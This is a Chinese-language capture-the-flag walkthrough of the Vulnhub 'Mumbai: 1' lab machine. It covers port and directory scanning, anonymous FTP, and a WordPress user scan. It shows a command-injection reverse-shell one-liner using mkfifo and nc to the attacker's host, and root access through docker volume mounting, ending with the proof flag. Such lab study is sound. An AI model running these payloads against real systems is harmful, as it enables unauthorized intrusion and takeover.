Mumbai
作者：jason huawen
靶機資訊
名稱： Mumbai: 1
地址：
https://www.vulnhub.com/entry/mumbai-1,372/
識別目標主機IP地址
─(kali?kali)-[~/Desktop/Vulnhub/Mumbai]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:11 1 60 Unknown vendor
192.168.56.100 08:00:27:ff:33:41 1 60 PCS Systemtechnik GmbH
192.168.56.243 08:00:27:50:a1:19 1 60 PCS Systemtechnik GmbH
利用Kali Linux的netdiscover工具識別目標主機的IP地址為192.168.56.243
NMAP掃描
──(kali?kali)-[~/Desktop/Vulnhub/Mumbai]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.243 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-04 02:45 EDT
Nmap scan report for bogon (192.168.56.243)
Host is up (0.00012s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.230
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 297 Sep 25 2019 Note
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e3:df:27:19:33:de:d4:2e:5e:33:d9:ab:74:df:38:80 (RSA)
| 256 29:e2:b6:ef:b3:a0:43:7b:8a:a4:4b:f7:e8:41:1f:5b (ECDSA)
|_ 256 34:3a:48:af:b8:68:ab:53:18:62:d2:e4:08:74:e4:c3 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: comingsoonpage.com 1.0.0
|_http-title: Mumbai SEO Services
|_http-server-header: Apache/2.4.29 (Ubuntu)
3306/tcp open mysql MySQL (unauthorized)
8000/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.0 (Ubuntu)
MAC Address: 08:00:27:50:A1:19 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.48 seconds
獲得Shell
先嘗試一下mysql是否有弱口令：
─(kali?kali)-[~/Desktop/Vulnhub/Mumbai]
└─$ mysql -uroot -p -h 192.168.56.243
Enter password:
ERROR 1130 (HY000): Host '192.168.56.230' is not allowed to connect to this MySQL server
嘗試結果表明遠程機器無法連接資料庫服務器，只允許本地訪問，
┌──(kali?kali)-[~/Desktop/Vulnhub/Mumbai]
└─$ ftp 192.168.56.243
Connected to 192.168.56.243.
220 (vsFTPd 3.0.3)
Name (192.168.56.243:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
229 Entering Extended Passive Mode (|||14114|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 116 4096 Sep 25 2019 .
drwxr-xr-x 2 0 116 4096 Sep 25 2019 ..
-rw-r--r-- 1 0 0 297 Sep 25 2019 Note
226 Directory send OK.
ftp> get Note
local: Note remote: Note
229 Entering Extended Passive Mode (|||55304|)
150 Opening BINARY mode data connection for Note (297 bytes).
100% |****************************************************************************************************************| 297 108.30 KiB/s 00:00 ETA
226 Transfer complete.
297 bytes received in 00:00 (77.90 KiB/s)
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||34115|)
550 Permission denied.
對FTP服務的資訊收集結果匯總：
-
目標主機允許FTP匿名訪問
-
將Note下載到Kali Linux本地
-
匿名用戶無法上傳檔案
-
ftp服務版本無漏洞可利用，
┌──(kali?kali)-[~/Desktop/Vulnhub/Mumbai]
└─$ cat Note
TODO:
Move these multiple HTTP Servers running to Docker. I hear containers make things inherently
secure - maybe this will shut those security researchers up.
Also, don't forget to remove all those privilege escalation exploits from /tmp - we don't want to
rebuild the server again.
- AbsoZed
從Note內容看，應該是有容器的環境，也許可以利用容器進行本地提權，
┌──(kali?kali)-[~/Desktop/Vulnhub/Mumbai]
└─$ gobuster dir -u http://192.168.56.243 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.sh,.js
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.243
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: html,txt,sh,js,php
[+] Timeout: 10s
===============================================================
2023/04/04 02:52:30 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 279]
/.html (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 10243]
/wordpress (Status: 301) [Size: 320] [--> http://192.168.56.243/wordpress/]
/javascript (Status: 301) [Size: 321] [--> http://192.168.56.243/javascript/]
/drupal (Status: 301) [Size: 317] [--> http://192.168.56.243/drupal/]
/SEO (Status: 301) [Size: 314] [--> http://192.168.56.243/SEO/]
/.html (Status: 403) [Size: 279]
/.php (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
Progress: 1320475 / 1323366 (99.78%)
===============================================================
2023/04/04 02:55:29 Finished
===============================================================
Gobuster工具掃描出/drupaly以及/wordpress目錄，前者為空目錄，/wordpress目錄應該是下一步資訊收集的重點，利用的工具是wpscan:
──(kali?kali)-[~/Desktop/Vulnhub/Mumbai]
└─$ wpscan --url http://192.168.56.243/wordpress -e u,p
[i] User(s) Identified:
[+] absozed
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
─$ wpscan --url http://192.168.56.243/wordpress -U absozed -P /usr/share/wordlists/rockyou.txt
雖然wpscan工具掃描出用戶名，但是在嘗試利用wpscan工具破解密碼時但運行十幾分鐘沒有破解出密碼，而且wpscan也沒有掃描出可利用的插件，因此80埠方向只能作罷，
接下來看8000埠：
┌──(kali?kali)-[~/Desktop/Vulnhub/Mumbai]
└─$ gobuster dir -u http://192.168.56.243:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.sh,.js,.txt,.html
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.243:8000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: html,php,sh,js,txt
[+] Timeout: 10s
===============================================================
2023/04/04 03:30:30 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 46]
/test.php (Status: 200) [Size: 64]
┌──(kali?kali)-[~/Desktop/Vulnhub/Mumbai]
└─$ curl http://192.168.56.243:8000/test.php
Please POST a proper query. ex: https://caffeinatedengineers.com
從回傳的內容來看，說明請求方法需要修改為POST，可以用burpsuite工具攔截請求，從而修改請求方法,即修改GET為POST
注意不要直接在Burp左側修改請求頭和請求體，修改結果其實是無效的，而是用右邊的burpsuite來設定，比如修改Request mehod, 增加request body等等，因為在右側修改內容，Burpsuite會做自動的欄位補充，比如content-type等
也就是說可以利用命令包含漏洞，執行命令rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.230 5555 >/tmp/f
這樣Kali Linux得到目標主機反彈回來的shell
┌──(kali?kali)-[~/Desktop/Vulnhub/Mumbai]
└─$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.56.230] from (UNKNOWN) [192.168.56.243] 40510
which python
/usr/local/bin/python
python -c 'import pty;pty.spawn("/bin/bash")'
apiuser@mumbai:~$
提權
apiuser@mumbai:~$ docker images
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
migrationtest v1 ec8b7840f6aa 3 years ago 216MB
ubuntu 14.04 2c5e00d77a67 3 years ago 188MB
apiuser@mumbai:~$ docker run -it -v /root:/mnt ubuntu
docker run -it -v /root:/mnt ubuntu
Unable to find image 'ubuntu:latest' locally
docker: Error response from daemon: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution.
See 'docker run --help'.
apiuser@mumbai:~$ docker run -it -v /root:/mnt ubuntu:14.04
docker run -it -v /root:/mnt ubuntu:14.04
root@224ee0f52adc:/# cd /mnt
cd /mnt
root@224ee0f52adc:/mnt# ls -alh
ls -alh
total 68K
drwx------ 6 root root 4.0K Sep 25 2019 .
drwxr-xr-x 1 root root 4.0K Apr 4 07:54 ..
-rw-r--r-- 1 root root 3.1K Apr 9 2018 .bashrc
drwx------ 3 root root 4.0K Sep 24 2019 .cache
drwxr-xr-x 3 root root 4.0K Sep 24 2019 .local
-rw------- 1 root root 74 Sep 24 2019 .mysql_history
drwxr-xr-x 399 1000 1000 12K Sep 24 2019 .npm
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 7 Sep 24 2019 .python_history
drwx------ 2 root root 4.0K Sep 24 2019 .ssh
-rw-r--r-- 1 root root 9.2K Sep 24 2019 .v8flags.6.2.414.50.root.json
-rw-r--r-- 1 root root 174 Sep 24 2019 .wget-hsts
-rw-r--r-- 1 root root 603 Sep 25 2019 proof.txt
root@224ee0f52adc:/mnt# cat proof.txt
cat proof.txt
8""8""8 8""""8 8"""" 8"""88
8 8 8 e e eeeeeee eeeee eeeee e 8 8 8 8
8e 8 8 8 8 8 8 8 8 8 8 8 8 8eeeee 8eeee 8 8
88 8 8 8e 8 8e 8 8 8eee8e 8eee8 8e 88 88 8 8
88 8 8 88 8 88 8 8 88 8 88 8 88 e 88 88 8 8
88 8 8 88ee8 88 8 8 88eee8 88 8 88 8eee88 88eee 8eeee8
By: AbsoZed
Congratulations! Hope you enjoyed the box!
Proof: 4370445fbc9eaa490589b55a8ae4494f
https://caffeinatedengineers.com
root@224ee0f52adc:/mnt#
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